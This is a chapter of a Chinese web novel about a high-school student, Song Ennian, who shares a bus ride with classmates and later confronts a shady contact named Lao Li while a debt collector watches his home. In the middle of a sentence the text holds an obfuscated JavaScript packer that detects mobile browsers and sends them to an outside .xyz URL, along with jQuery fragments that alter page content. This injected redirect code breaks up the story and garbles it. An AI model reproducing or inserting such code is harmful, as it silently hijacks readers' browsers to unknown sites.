14. 第五封信

作品:《匿名爱意

    “那个...”孟修清了清嗓子,目光在方依珞和余念之间游移,“反正大家方向差不多,要不一起回去吧?”


    说完,他悄悄用手肘捅了捅身旁的宋恩年,“对吧老宋?反正我们都有时间。”


    宋恩年被这一捅才回过神来。他微微颔首,目光却不自觉地飘向余念。


    少女站在站牌的另一侧,发梢被晚风吹起,在暮色中划出温柔的弧度。


    方依珞眼睛一亮:“好呀,既然顺路,那就一起走吧。”


    公交车缓慢进站,四人坐在公交车后座相邻的两个位置,孟修和方依珞隔着走道,从最新上映的电影聊到学校食堂的招牌菜,笑声不断。


    二十分钟的路程,两个人从天南聊到海北。


    然后顺理成章加上了联系方式。


    宋恩年不动声色坐在位子上,在车窗玻璃的反光看向对面,依稀能看到余念的脸。


    那一刻他多希望自己也能像孟修那样,轻松地开启一个话题,而不是像现在这样,只能干坐在这。


    “老宋!”孟修突然转过身,一巴掌拍在他肩上,“方依珞说一直想认识年级第一呢!”


    宋恩年猝不及防地抬头,正对上余念转过脸来的目光。车厢顶灯在她眼中投下细碎的光点,像是夜空中突然亮起的星辰。


    这一刻的对视比以往任何一次都要长久,久到他能看清她睫毛投下的阴影。


    像是黑暗中的烛火,只需要轻微的刮擦就能轻而易举地点燃。


    对视在孟修和方依珞继续高谈阔论地说话声中打断,宋恩年扭头,再一次看向车窗上时,脑海中突然闪过一个念头。


    从自己的角度可以看见余念,那会不会从余念的角度也可以从车窗上看到他?


    意识到这个,他觉得心脏忽然有些发紧。


    也许余念只是在看风景,也许她根本就没注意到车窗上的倒影...但这些假设都无法平息他胸腔里那阵莫名的躁动。


    一直到孟修提醒他到站了,宋恩年回过神来,从公交车下来。


    四人陆续下车,夜风迎面吹来,带着冬日特有的清冽。


    孟修不住在核桃巷,在十字路口依依不舍地挥手告别。宋恩年和两个女孩继续往前走,三人的影子在路灯下时而交叠,时而分开。


    宋恩年刻意放慢脚步,渐渐落在后面。月光如水般倾泻而下,将余念的身影勾勒出一道银边。


    转过街角时,他鬼使神差地抬头看了一眼。余念正站在红绿灯下,暖黄的路灯给她镀了层毛茸茸的光边。


    似乎是察觉到视线,她突然转头,宋恩年立即别过脸,目光张望,往小卖铺的橱窗看去。


    走进胡同的时候,厚厚的墙体彻底将月光隔绝在外。宋恩年一边往家的方向走,一边掏出手机,开机。


    老李的名字瞬间跳出来,紧接着是无数个未接电话。


    他面无表情点击清空消息弹窗,瞥了眼时间,现在已经是傍晚,六点整。


    冬天的天黑得快,巷子里已经黑得看不清路。远处隐约传来雷声,潮湿的风卷着落叶打转,像是在酝酿一场新雨。


    若是下雨的话,必定会伴随很长一段时间的湿冷,这是榕城人最不想经历的时候。


    宋恩年加快脚步,脑海中闪过余念站在路灯下的身影。那样的温暖明亮,与他此刻所处的阴暗巷道仿佛两个世界。


    他不打算理会老李,将手机调成静音模式之后揣回兜里,继续往家的方向走。


    银行卡里的数字足够他和外婆很滋润地过一段时间,不需要再为那些肮脏的交易费神,也不差这一单的钱。


    至于他那个多年没见过的父亲。


    宋恩年冷笑一声。


    他一定有机会找到那个人,让他付出代价。


    推开家门时,厨房飘来老鸭汤的香气。宋奶奶从灶台前转过身,围裙上沾着面粉:“阿幺回来啦?今天比平时早。”


    “嗯,去找工作了,寒假先去找个活干。”


    宋恩年将药袋放在桌上,塑料包装发出轻微的沙沙声。他走到厨房,接过宋奶奶手中的汤碗。滚烫的碗壁透过布料传来热度,让他冰凉的指尖终于有了些知觉。


    宋奶奶欲言又止:“别太累着自己。”


    宋恩年低头喝汤,热气模糊了他的表情,“嗯。”


    窗外,第一滴雨落下,轻轻敲打在玻璃上。她起身关窗,唠叨着:“接下来要下雨了,天气湿冷,多喝些老鸭汤驱寒。”


    宋恩年应了一声。


    祖孙两人如同很多个夜晚那般用完晚饭,宋奶奶处理第二天要做的早点,发面醒面。


    宋恩年回到卧室,从小窗台处盯着窗户外头,原本的小风已经变成了现在的大风,呼啸着从窗户外头而过,带起晾衣架一阵不堪重负的声音。


    他将口袋中的手机掏出来,放在一边。


    按照习惯,翻开课本,坚持学完一个单元的课程,又写完相应的练习题册。揉了揉手臂,指针已经指到了八点钟。


    屋子好似漏了洞,风吹过就会形成很大的呼啸声,像鬼哭狼嚎一般。


    他拿起一旁的手机,上面显示老李的来电。盯着来电显示看了三秒,最终按下了接听键。


    “有事?”


    “你小子终于接电话了!”老李的声音像是从牙缝里挤出来的,背景音里夹杂着嘈杂的音乐声,“你他妈疯了?知道那客户什么来头吗?”


    窗外的风突然变得急促,将晾衣架上的铁钩吹得叮当作响。宋恩年把手机音量调小了些。


    “那里面不止是账本,还有其他的。”


    “所以呢?”老李嗤笑一声,打火机的声音清晰地传来,“钱不就是钱?”


    宋恩年:“我不做违法的事,这是底线。”


    短暂的沉默后,老李突然笑了:“行啊,你小子。”


    “但你现在让我很难做,懂吗。”


    又牵扯到这种生生死死的东西,宋恩年有些烦躁。老李还在说话:“本来解开那个文件,咱们大家都好,现在闹成了这个样子。”


    宋恩年声音冷如一把尖刀:“今天警察也来了,谁干的。”


    老李声音一顿。


    电话那头突然安静了,连呼吸声都听不见。宋恩年冷笑:“老李,别以为我不知道。那根本不是什么账本,你们就是想借我的手把那伙人送进去。”


    他的手指无意识地敲击着窗台,“至于你们是怎么设的局,我不关心。但你们让我去做这个鱼饵,是不是有点太过分了。”


    电话那头依旧是沉默。


    “我还逃了,”宋恩年轻声说,声音里带着几分自嘲,“你是不是很失望?”


    电话那头传来老李的叹息:“我就喜欢和聪明人打交道。”


    背景音里的音乐声突然变小,像是他走到了安静的地方,“不错,那些人干扰到我们的生意了。”


    宋恩年笑一声,窗外一道闪电划过,雨点开始噼里啪啦地砸在玻璃上,像无数细小的手指在敲打。


    “很可惜,想让我去当炮灰,不太可能。”


    “在知道我逃了之后,你这样急切给我打电话来掩饰,挺可笑的。”


    老李的语气突然变得诚恳:“听着,刚开始没打算让你冒险的,但若是我们这边没出人,对方也不会轻易现身,诚意不够。”


    “你是我在中国认识的唯一信得过的朋友,我就是对你有信心,才会叫你。”


    宋恩年沉默,他保持着接电话的姿势,窗外又一道闪电亮起,他看见雨幕中有个人影站在巷口


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473624|169667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的小卖铺前。


    戴鸭舌帽,身形瘦高,绝对不是核桃巷的住户。


    看样子对方还没有注意到这边的情况。


    他突然有些庆幸今晚提前拉了窗帘,只留有一条小缝隙。他迅速判断了对方从这条小缝隙中能看到自己的概率有多大。


    这条窗帘是他之前特地换过的,且按常理来说,里面的人更容易看清楚外面的情况,外面不太容易能看进来。


    “喂?还在听吗?”老李的声音把他拉回现实。


    宋恩年很平静地说,“别称朋友。”


    “好,好。”老李急忙改口,“这样,这事算是我欠你的。对方的人也被抓了,我们的任务完成,但他们很可能已经将你列入了报复名单里面,你现在只能寻求我们的帮助,相信我,我们一直都是在同一条船上,只有我能帮你。”


    宋恩年问:“怎么帮?”


    他的目光仍锁定窗外那个身影。


    老李:“你今天去的时候,有没有暴露?”


    宋恩年:“做了基础防护。”


    老李:“那就好,你装作一切如常就行,千万不要暴露自己。”


    宋恩年:“这我当然知道。”


    意思就是不用你多说我也懂。


    他不再理会老李,径直挂断电话。


    有一次这种经历,他不会再信任接下来的任何一句话。


    走到窗边。雨太大,看不清那人的脸,但对方不断看表的动作明显是在等人。


    宋恩年点开通讯录,飞老头发了条加密信息:“核桃巷357号小卖铺,帮我查查走廊的人。”


    老头很快回复:“稍等。”


    隔一会,又发来:“是赌场追债的打手。”


    宋恩年放下手机,眉头紧锁。


    这些阴魂不散的家伙,这么长时间了还在蹦跶。


    抬头看了眼挂钟,九点二十,外婆应该睡下了。


    他轻手轻脚地出房间,发现厨房的灯还亮着。宋奶奶正在揉面团,案板上摆着明天要做的包子馅。


    “阿幺?”宋奶□□也不抬,“饿了吗?”


    宋恩年说:“想喝水,外婆你还没睡。”


    宋奶奶笑了笑,眼角的皱纹舒展开来:“人老了,就爱折腾些。”


    “大家伙都说我做的早点好吃呢,我得多做些。”


    宋恩年给自己倒了一杯热水,随口问了一句:“都是学生买的多吗?”


    宋奶奶揉着面团子,“不止,还有几个大汉,一个化妆很浓的女人,每天都来买。”


    宋恩年动作一顿,“他们来了多久了?”


    宋奶奶对他这突如其来的话有些疑惑,扭头看了他一眼,“就最近吧,两个星期这样。”


    她顿了顿,“怎么了?”


    宋恩年了然,放下水杯,“没什么,就是随便问问,外婆你也早点睡。”


    宋奶奶点头,又转身去揉面:“知道啦,我把这点面揉完就睡。”


    宋恩年回到房间,轻轻关上门。这个消息让他面色冷冽。


    说明这些天来,赌场那群人从来就没有消失过,一直在暗中观察。


    大意了。


    当初就不应该让老李那家伙将车开到核桃巷附近。不过现在,他必须想办法解决这个麻烦。


    宋恩年低头,看到老头还在发着消息,无一例外,全都是腻死人的颜文字。


    将手机摁灭。


    他实在不理解,赌场那群人为何如此穷追不舍,就为了那一箱黄金?


    要不是他亲手将老李那个箱子带出来,且亲眼打开看过,他都怀疑箱子里面装着赌场的传世珍宝。丢了,所有人都不能活的那种。


    他目光明灭盯着老李的微信,总觉得他还在瞒着自己什么。